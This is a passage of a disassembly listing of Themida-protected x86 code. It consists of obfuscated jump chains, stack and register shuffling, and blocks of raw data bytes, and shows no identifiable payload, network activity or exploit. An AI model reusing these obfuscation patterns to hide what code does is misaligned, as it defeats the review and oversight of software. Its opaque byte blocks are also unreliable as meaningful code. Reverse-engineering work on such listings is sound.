		dd 89000091h, 2799E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DE22:				; CODE XREF: Themida_:005619BDj
		pop	ecx
		sub	ecx, 4353D67h
		mov	edx, ecx
		pop	ecx
		pop	esi
		sub	[esp+8], edx
		jmp	loc_562B18
; ---------------------------------------------------------------------------
		dw 748Ah
		dd 6C880224h, 8B660224h, 8950240Ch, 405E0h, 2050000h, 87000000h
		dd 0E95C2404h, 0FFFF49A6h
; ---------------------------------------------------------------------------

loc_55DE58:				; CODE XREF: Themida_:00555A4Bj
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1000000h
		jmp	loc_5642C8
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4C78300h, 7AB9E9h
		db 0
; ---------------------------------------------------------------------------

loc_55DE85:				; CODE XREF: Themida_:0055EE32j
		dec	ecx
		jmp	loc_55BE37
; ---------------------------------------------------------------------------
		db 81h
		dd 9B4C96C3h, 0F381436Bh, 8D3E41A5h, 255BD829h,	30AE6901h
		dd 4EC81h, 2C890000h, 6BD16824h, 95D2E21h, 242C8BE8h, 8B29E9h
		dd 81C20100h, 0D73800C2h, 24048B76h, 5E91E9h, 24048100h
		dd 7E0A4F9Eh, 83240401h, 0C8904ECh, 4F9EB924h, 4C297E0Ah
		dd 55590424h, 0FFCD6BE9h, 0E5C381FFh, 811CFF54h, 610239CBh
		dd 0C3E94356h, 81FFFF97h, 98317FE7h, 0E9EFD125h, 0FFFFCB86h
; ---------------------------------------------------------------------------

loc_55DF08:				; CODE XREF: Themida_:005662DCj
		pop	esp
		jmp	loc_564EB9
; ---------------------------------------------------------------------------
a1ZssO		db '1ÖZSé]Ž',0
		db 0
; ---------------------------------------------------------------------------

loc_55DF17:				; CODE XREF: Themida_:00553A99j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_560C60
; ---------------------------------------------------------------------------

loc_55DF23:				; CODE XREF: Themida_:0055FB98j
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	30A3h
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_55E342
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F28105EAh, 1794FDF9h, 815AD589h, 846B0BCDh,	0D5E58149h
		dd 816F9C2Ch, 7F0BDCCDh, 81DDF747h, 0C64C78CDh,	0C7ED814Bh
		dd 0E9A7B8A5h, 0FFFFAAA2h
; ---------------------------------------------------------------------------

loc_55DF70:				; CODE XREF: Themida_:0055F0B5j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564751
; ---------------------------------------------------------------------------
		dw 0D030h
		dd 8124148Bh, 4C4h, 0B8E95600h,	59FFFFDAh, 4C181h, 0B9E90000h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DF9B:				; CODE XREF: Themida_:00558D35j
		pop	ecx
		push	7287h
		mov	[esp], ebx
		jmp	loc_556AC5
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0F5h
		dd 813B6908h, 0C32DC0C2h, 0FA06E932h, 0C146FFFFh, 0C68105EEh
		dd 4AED793Ah, 7334E946h, 0E6890000h, 0FF7922E9h, 0C2805AFFh
		dd 5FEA805Fh, 0C280EA00h, 1D47E95Fh, 52560000h,	38286856h
		dd 2DE9270Bh, 0F700002Fh, 4FBA52D0h, 1710A89h, 0C3895AD0h
		dd 5770E958h, 0B951FFFFh, 52E364CAh, 14AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E00D:				; CODE XREF: Themida_:0055526Ej
		xor	edi, ecx
		pop	ecx
		sub	ecx, 4E3D69A7h
		add	ecx, edi
		add	ecx, 4E3D69A7h
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 1A5B494Ah
		dec	eax
		add	eax, 0E5A4B6BBh
		jmp	loc_55ADFA
; ---------------------------------------------------------------------------

loc_55E039:				; CODE XREF: Themida_:00566DB1j
		or	ebp, esi
		pop	esi
		add	ebp, 565138D0h
		sub	ebp, 0A66A9E9Dh
		mov	edx, ebp
		jmp	loc_55359D
; ---------------------------------------------------------------------------

loc_55E04F:				; CODE XREF: Themida_:0055669Ej
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A193
; ---------------------------------------------------------------------------
		db 83h
		dd 895204C4h, 1FBB53E2h, 816FFC59h, 150B1F3h, 2CE38125h
		dd 0C100A92Ah, 0F38106EBh, 2A424h, 1C8BDA01h, 4C48324h
		dd 4C281h, 3E90000h, 81FFFFF1h,	2B7C74F2h, 51ED8100h, 1226226h
		dd 51C581D5h, 0E9226226h, 0FFFFCA0Dh, 24048B66h, 4EC8151h
		dd 89000000h, 4812424h,	424h, 68575900h, 6D51h,	0FFD6FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E0CD:				; CODE XREF: Themida_:00554708j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_56009E
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 1C3304C4h, 241C3124h, 8B241C33h, 76E92424h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E0FB:				; CODE XREF: Themida_:00555E9Aj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_55D6DC
; ---------------------------------------------------------------------------

loc_55E11D:				; CODE XREF: Themida_:0055452Dj
		mov	dh, 0E2h
		sub	bl, dh
		pop	edx
		movzx	eax, al
		jmp	loc_55E697
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 75183096h, 0CCC3814Bh, 89047EB9h, 7B85E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E13E:				; CODE XREF: Themida_:00554859j
		push	6C7Bh
		mov	[esp], ebp
		mov	ebp, 6D4C4966h
		dec	ebp
		jmp	loc_561907
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 0E95A0424h, 0FFFF91AEh, 0CF8898B1h, 0FFC764E9h, 0C1E3D1FFh
		dd 0F38105E3h, 481E3465h, 0FF6384E9h, 4C483FFh,	5C240C87h
		dd 240C8B66h, 0FFF3ECE9h, 0C68956FFh, 75E9F389h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E18F:				; CODE XREF: Themida_:00566B0Fj
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_55CAE3
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB7B9DEFh, 5E7C125h, 24DFE781h, 0C7814EE1h,	0CCF925C8h
		dd 6AD2F781h, 0FD897288h, 0ABDAE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E1D2:				; CODE XREF: Themida_:00567A54j
		mov	eax, 504D62FBh
		jmp	loc_563323
; ---------------------------------------------------------------------------
		dd 0BE9D8F7h, 31000016h, 0E9D831C3h, 0FFFFC513h, 361DF305h
		dd 0E0C15F60h, 28252508h, 57E91C56h, 81FFFFACh,	0F26B67F1h
		dd 0A66CE911h, 34FFFFFFh, 0F871E924h, 0BB53FFFFh, 4, 0E95BDA01h
		dd 5A6Fh, 4244C01h, 4244481h, 6D4B3483h, 592434FFh, 517BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E235:				; CODE XREF: Themida_:0055F0FDj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_559643
; ---------------------------------------------------------------------------
		dw 8B5Fh
		dd 0C4812434h, 4, 2474FF53h, 48F5B04h, 89DCE924h, 0EE81FFFFh
		dd 0AAFF7676h, 895EF531h, 0E2815DEAh, 75B72655h, 9EC1EA81h
		dd 0D6013900h, 76B1E9h,	241C8B00h, 4C481h, 0C1810000h
		dd 2, 0E9240C33h, 0FFFF9C44h, 4AF2CA81h, 0F2814A5Ch, 4E177512h
		dd 0E2E1EA81h, 0D6211A9Dh, 0CBEE815Ah, 0E90DCB34h, 16CFh
; ---------------------------------------------------------------------------

loc_55E2AC:				; CODE XREF: Themida_:005619E3j
		add	eax, ebx
		push	ecx
		mov	ecx, 50981376h
		inc	ecx
		jmp	loc_562DA4
; ---------------------------------------------------------------------------

loc_55E2BA:				; CODE XREF: Themida_:0055847Cj
		and	ebp, 0CE02E04h
		shr	ebp, 1
		sub	ebp, 0FBE5FFD2h
		jmp	loc_560F46
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0E9240431h, 3664h
; ---------------------------------------------------------------------------

loc_55E2D8:				; CODE XREF: Themida_:00560717j
		xor	ebp, eax
		jmp	loc_5588EF
; ---------------------------------------------------------------------------

loc_55E2DF:				; CODE XREF: Themida_:0055CA40j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_558CA5
; ---------------------------------------------------------------------------

loc_55E2F6:				; CODE XREF: Themida_:0056771Ej
		push	esi
		mov	esi, 652F23FAh
		sub	ecx, esi
		pop	esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	6DEh
		jmp	loc_5638E1
; ---------------------------------------------------------------------------
		db 31h
		dd 0E9815DE8h, 4832136Eh, 0C181C101h, 4832136Eh, 240C8758h
		dd 6015E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E331:				; CODE XREF: Themida_:00560BD7j
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F48A
; ---------------------------------------------------------------------------

loc_55E342:				; CODE XREF: Themida_:0055DF3Aj
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_566E24
; ---------------------------------------------------------------------------
		db 2Dh,	0DCh, 8
		dd 9DE9371Dh, 8100000Bh, 4C1h, 0E528E900h, 48BFFFFh, 4C48124h
		dd 83000000h, 0E95504C4h, 0FFFFB56Dh
; ---------------------------------------------------------------------------

loc_55E384:				; CODE XREF: Themida_:0056607Fj
		mov	[esp], edi
		mov	edi, 3001214Eh
		shr	edi, 7
		dec	edi
		push	edi
		push	eax
		jmp	loc_553EFB
; ---------------------------------------------------------------------------
		db 59h
		dd 7FE95A66h, 51FFFFDCh, 0C888A1B1h, 304BB659h,	0E251E9C6h
		dd 8B66FFFFh, 0C4812414h, 2, 4EC81h, 0C890000h,	60156824h
		dd 1C890000h, 88515224h, 24FEE9C5h, 1C8B0000h, 4C48124h
		dd 81000000h, 0F93BB2C5h, 0DEFCE92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E3E6:				; CODE XREF: Themida_:00558255j
		push	edi
		push	ebp
		jmp	loc_56719B
; ---------------------------------------------------------------------------
aQiR		db 'QˆÁRº',0
		align 4
		dd 0DA010000h, 8B5A0A88h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_560B19
; ---------------------------------------------------------------------------
		dd 0CA89C189h, 2434FF59h, 4C48358h, 148BD001h, 4C48124h
		dd 0E9000000h, 61F4h
; ---------------------------------------------------------------------------

loc_55E428:				; CODE XREF: Themida_:0055F09Fj
		xor	eax, esi
		jmp	loc_56065A
; ---------------------------------------------------------------------------

loc_55E42F:				; CODE XREF: Themida_:0056670Ej
		push	35FDh
		mov	[esp], edi
		mov	edi, 56BD4720h
		shl	edi, 8
		neg	edi
		add	edi, 74350352h
		and	edi, 1526376h
		sub	edi, 0F8FAAD38h
		xor	esi, edi
		pop	edi
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_552D8B
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 6C03E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E46E:				; CODE XREF: Themida_:00552B78j
		not	ebx
		not	ebx
		add	ebx, 2BA767h
		add	ebx, edi
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5577F7
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0B4500000h, 2ECC0F2h, 0EC80DCF6h, 80D4F62Ch
		dd 0EC8301ECh, 240C8904h, 64BEE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E4AE:				; CODE XREF: Themida_:00557E82j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55D803
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0EF810000h, 4, 0FF7E08E9h, 3C7A68FFh, 0DFE90000h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E4D7:				; CODE XREF: Themida_:005561E8j
		sub	[esp+4], eax
		push	495Ch
		mov	[esp], edi
		jmp	loc_560208
; ---------------------------------------------------------------------------

loc_55E4E8:				; CODE XREF: Themida_:00555655j
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_560BC5
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 0FFDCD0E9h, 2BAFFh, 0C3810000h, 1F286E8Fh
		dd 6B25E9h, 0E0EA8100h,	8B2C3014h, 0C483241Ch, 0DB4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E522:				; CODE XREF: Themida_:00560DECj
		pop	esi
		jmp	loc_5589A6
; ---------------------------------------------------------------------------

loc_55E528:				; CODE XREF: Themida_:00557E48j
		push	eax
		mov	eax, 73B57969h
		jmp	loc_55D3C3
; ---------------------------------------------------------------------------
		db 89h
		dd 1BA2414h, 0E9000000h, 3C9Dh,	315AD031h, 79F368C3h, 2C890000h
		dd 9216824h, 96E90000h,	83FFFF6Dh, 143304C2h, 24143124h
		dd 5C241433h, 8904EC83h, 1BB22414h, 14F65266h, 0E95A6624h
		dd 0FFFF60D2h, 66BBCF80h, 3064B252h, 805A66D7h,	0FC0088C4h
		dd 0FF950BE9h, 98E2DFFh, 0F8010BE8h, 4D80E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E599:				; CODE XREF: Themida_:0056419Aj
		xor	esi, edx
		pop	edx
		jmp	loc_553E76
; ---------------------------------------------------------------------------

loc_55E5A1:				; CODE XREF: Themida_:00564484j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		sub	ebx, 3FC622A9h
		add	ebx, edx
		add	ebx, 3FC622A9h
		pop	edx
		jmp	loc_55303C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9532404h, 0FFFFE780h, 0CCC6857h, 5CE963C0h, 54000035h
		dd 6749E9h, 0A2CB900h, 0E1C1429Ah, 0E9F18102h, 0C11A8242h
		dd 0C7E904E1h, 89FFFF6Dh, 4C381E3h, 0E9000000h,	498Bh
		dd 1B951h, 0CF290000h, 4EC8359h, 50241489h, 5374E1B8h
		dd 68B30D7Fh, 0F75069ECh, 48B2414h, 4C48124h, 0E9000000h
		dd 34D5h, 0BB25E82Dh, 58C2013Fh, 5204EA83h, 42474FFh, 0A750E95Ah
		dd 2C8BFFFFh, 4C48324h,	2474FF52h, 48F5A04h, 24248B24h
		dd 9268F1F7h, 0E9000036h, 0FFFFEFE4h, 2C8BE829h, 4C48124h
		dd 2D000000h, 7A2D22B5h, 3064E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E671:				; CODE XREF: Themida_:0056725Dj
		sub	edx, edi
		pop	edi
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_558DED
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 58h
		dd 8114B627h, 14B9BCAh,	0B2E94A6Bh
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E697:				; CODE XREF: Themida_:0055E125j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566299
; ---------------------------------------------------------------------------

loc_55E6AB:				; CODE XREF: Themida_:0055ED26j
		mov	[esp], eax
		push	4F8Ah
		mov	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55C142
; ---------------------------------------------------------------------------

loc_55E6C5:				; CODE XREF: Themida_:00556A26j
		push	ecx
		jmp	loc_55F823
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4B4E4D37h, 2414F751h, 6DDDE959h, 0E7C10000h,	4EFC106h
		dd 2A19BD55h, 0D5F71F24h, 0C581EDD1h, 8FD45165h, 0E95DEF31h
		dd 0FFFF8C04h, 3E5668h,	9219E900h, 0E9810000h, 0F0561970h
		dd 977C80BEh, 0FFCE3102h, 0E9592434h, 0FFFFC491h, 2E30CE81h
		dd 0EE810F19h, 6A9C04B5h, 0FFA208E9h, 4C481FFh,	5B000000h
		dd 6686E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E735:				; CODE XREF: Themida_:00561D0Ej
		add	esp, 4
		push	7031h
		mov	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_566734
; ---------------------------------------------------------------------------

loc_55E74B:				; CODE XREF: Themida_:0055BCD2j
		mov	esi, 0E35C99h
		jmp	loc_55D5CA
; ---------------------------------------------------------------------------
		db 5Dh,	8Bh, 0Ch
		dd 4C48324h, 4938E9h, 4BB00h, 44810000h, 7D1A0424h, 53E96FD0h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E773:				; CODE XREF: Themida_:00566868j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3DAB218Dh
		push	446Bh
		mov	[esp], edx
		mov	edx, 96792ED5h
		mov	ebp, edx
		pop	edx
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_55EF6A
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BA241489h, 1A7C3D68h, 0FF43C7E9h, 6E2C1FFh,	66F2814Ah
		dd 0E911E34Fh, 0FFFFB397h
; ---------------------------------------------------------------------------

loc_55E7B8:				; CODE XREF: Themida_:00555378j
		mov	eax, 4
		sub	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5672CB
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9810000h, 4, 669EE9h, 0F1E95F00h, 8B00000Dh
		dd 0C481241Ch, 4, 8704EA83h, 895C2414h,	2BF243Ch, 81000000h
		dd 5A5A27C1h, 68F90156h, 2D7Eh,	50242C89h, 0C63CE957h
		dd 0E589FFFFh, 4C581h, 0C5810000h, 2, 8B242C87h, 53662424h
		dd 0E9CA8852h, 0FFFFBCE3h
; ---------------------------------------------------------------------------

loc_55E834:				; CODE XREF: Themida_:005642A3j
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_5665DC
; ---------------------------------------------------------------------------
		dd 15C5E955h, 0CD010000h, 57240C8Bh, 0C781E789h, 4, 0FF7247E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E859:				; CODE XREF: Themida_:00554E21j
		xor	bh, cl
		pop	ecx
		add	bh, 0E3h
		add	dl, bh
		pop	ebx
		mov	ch, dl
		jmp	loc_558D2C
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 74h
		dd 3C8B0424h, 4C48324h,	0E924048Fh, 5F77h, 0E902E7C1h
		dd 42D7h, 57CCE981h, 0CD893448h, 5DEB8959h, 34FFD901h
		dd 0C4835B24h, 0D8F18104h, 5706622Ch, 0FCF1B7BFh, 8BF901A7h
		dd 0C481243Ch, 4, 51EAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E8B5:				; CODE XREF: Themida_:00554093j
		sub	edx, 77D1260h
		add	edx, ebp
		jmp	loc_566959
; ---------------------------------------------------------------------------

loc_55E8C2:				; CODE XREF: Themida_:00564F76j
		neg	dh
		push	3FAEh
		mov	[esp], ecx
		mov	cl, 40h
		and	cl, 8Ah
		push	ebx
		mov	bh, 3Ah
		jmp	loc_566F94
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0F3h
		dd 0E97E8657h, 0FFFFF9A8h, 2C7815Dh, 33000000h,	3C31243Ch
		dd 243C3324h, 6624248Bh, 9C240401h, 0FF3EFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E901:				; CODE XREF: Themida_:00565A93j
		pop	ebp
		xor	ebp, ecx
		pop	ecx
		sub	ebp, 7DDD7588h
		not	ebp
		add	ebp, 5B366002h
		mov	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_55CF70
; ---------------------------------------------------------------------------

loc_55E91D:				; CODE XREF: Themida_:00559CC0j
		push	7267h
		mov	[esp], esi
		mov	esi, 58C47150h
		shr	esi, 2
		jmp	loc_55C80B
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 20E95424h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E93B:				; CODE XREF: Themida_:00564D6Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		dec	ebp
		jmp	loc_5662E1
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E47DE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E95A:				; CODE XREF: Themida_:00563094j
		mov	esi, ebx
		mov	ebx, [esp]
		jmp	loc_561573
; ---------------------------------------------------------------------------

loc_55E964:				; CODE XREF: Themida_:0055C9CAj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	383Dh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_55E997:				; CODE XREF: Themida_:0055D05Cj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		pop	ebx
		jmp	loc_55BD6F
; ---------------------------------------------------------------------------

loc_55E9AB:				; CODE XREF: Themida_:0055BADCj
		add	ebp, 4
		jmp	loc_55D69C
; ---------------------------------------------------------------------------
		db 51h
		dd 0C1815954h, 4, 4E981h, 0C870000h, 37E95C24h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E9CB:				; CODE XREF: Themida_:00558CB2j
		add	esp, 4
		add	bl, 0F5h
		jmp	loc_5589ED
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 0DC7BDAC7h, 81D7F760h, 9DEE0F7h, 5FF8294Ah, 5B8BC381h
		dd 35E9788Dh, 5FFFFBDh,	261E0161h, 0ACE9D801h, 31FFFFDCh
		dd 24148BD7h, 6C10E9h, 0B2526600h, 66D13003h, 59CE005Ah
		dd 201AB050h, 419EE9C6h, 0E952FFFFh, 770h, 2C04E8C0h, 58C50825h
		dd 808CE580h, 0E5C0EFCDh, 0BE685204h, 0E9000007h, 3B8Ch
		dd 2D7CE381h, 0CB814902h, 1EFE6B47h, 5807F381h,	0F7532A05h
		dd 0E95B2414h, 40Eh
; ---------------------------------------------------------------------------

loc_55EA60:				; CODE XREF: Themida_:005621FCj
		add	edi, 4
		add	edi, 4
		jmp	loc_55814A
; ---------------------------------------------------------------------------
		db 0FEh, 0CDh, 0C0h
		dd 8EE904EDh, 6600008Bh, 66C8AF0Fh, 77E99C51h, 1FFFF3Dh
		dd 0DE0159CBh, 0FF59E2E9h, 2434FFFFh, 0E7895759h, 600BBE56h
		dd 81465862h, 3C08CBEEh, 0BE56555Dh, 394F1184h,	0C64378BDh
		dd 0E551E99Bh, 875FFFFFh, 335C241Ch, 3C31243Ch,	243C3324h
		dd 6624248Bh, 2404B30Fh, 3D2CE99Ch, 8957FFFFh, 4C781E7h
		dd 0E9000000h, 76D6h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		push	ebx
		push	ecx
		mov	ecx, 66492309h
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 5
		push	edx
		jmp	loc_5602AA
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0D10158C1h, 5147E981h, 34FF18B5h, 54575A24h,	9168515Fh
		dd 5911850Dh, 0AD75E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EB1A:				; CODE XREF: Themida_:00552D8Ej
		push	edi
		push	2
		pop	edi
		add	ebp, edi
		jmp	loc_560814
; ---------------------------------------------------------------------------

loc_55EB28:				; CODE XREF: Themida_:0055CB04j
		pop	eax
		shr	ebx, 8
		add	ebx, 0F64FF854h
		xor	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_562F74
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 24248B24h, 84D6E9h, 23E95100h, 89FFFFA2h
		dd 0E9542434h, 0FFFFC5FAh, 8B243487h, 93E92424h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EB6B:				; CODE XREF: Themida_:00554539j
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_55CA36
		push	esi
		push	eax
		jmp	loc_55D413
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 39C14C1Bh, 18DBE9h, 4C48300h, 80FFE980h, 0CE28CDC1h
		dd 83240C8Bh, 0F03004C4h, 8324148Bh, 0EC8104C4h, 2, 24148966h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 124054BAh
		xor	eax, 124054BEh
		add	ebp, eax
		jmp	loc_55BD52
; ---------------------------------------------------------------------------

loc_55EBC1:				; CODE XREF: Themida_:005563B7j
		mov	ecx, 698E43CCh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		jmp	loc_555740
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D784
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E924048Bh, 2B33h, 17E9E289h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EBFB:				; CODE XREF: Themida_:00561047j
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		jmp	loc_55A88A
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 895C2434h, 3DE9240Ch, 29000073h, 0C618E9FBh
		dd 0D9F7FFFFh, 0CE56C181h, 0CF31A958h, 5FF90159h, 6859CD31h
		dd 7BF7h, 2202E9h, 89E95F00h, 0FFFFFFF4h, 0F2E92434h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EC63:				; CODE XREF: Themida_:00558048j
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55B532
; ---------------------------------------------------------------------------

loc_55EC7D:				; CODE XREF: Themida_:005551CAj
		pop	edx
		jmp	loc_55A768
; ---------------------------------------------------------------------------

loc_55EC83:				; CODE XREF: Themida_:00562D80j
		add	esp, 4
		push	ebp
		sub	dword ptr [esp], 6221068Bh
		pop	dword ptr [edx+38h]
		add	dword ptr [edx+38h], 6221068Bh
		jmp	loc_55331C
; ---------------------------------------------------------------------------

loc_55EC9D:				; CODE XREF: Themida_:0055F333j
		pop	ecx
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_5671EB
; ---------------------------------------------------------------------------
		dd 815AD129h, 0C60F21EFh, 81CF017Ch, 0C60F21C7h, 3C33597Ch
		dd 0A65EE924h, 15AFFFFh, 0D0315FFAh, 0E9C7015Ah, 738Bh
		dd 0E9241C87h, 0FFFF9A2Dh, 4B3483BDh, 0E551E96Dh, 0CD81FFFFh
		dd 41FC5767h, 0FF797BE9h, 0DFEA2DFFh, 0C701FFC0h, 5624048Bh
		dd 0C681E689h, 4, 4B850h, 0C6010000h, 96DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55ED0D:				; CODE XREF: Themida_:0056092Ej
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_55E6AB
; ---------------------------------------------------------------------------

loc_55ED2B:				; CODE XREF: Themida_:005594E7j
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_55A89D
; ---------------------------------------------------------------------------
		db 87h,	0E9h, 0F7h
		dd 0BCE951D5h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55ED3F:				; CODE XREF: Themida_:0055F1E6j
		mov	edx, 0FB84040h
		sub	ebx, edx
		pop	edx
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_5631BE
; ---------------------------------------------------------------------------

loc_55ED50:				; CODE XREF: Themida_:00554CE9j
		pop	esp
		sub	eax, 2B1732ECh
		sub	eax, edi
		add	eax, 2B1732ECh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_5603C0
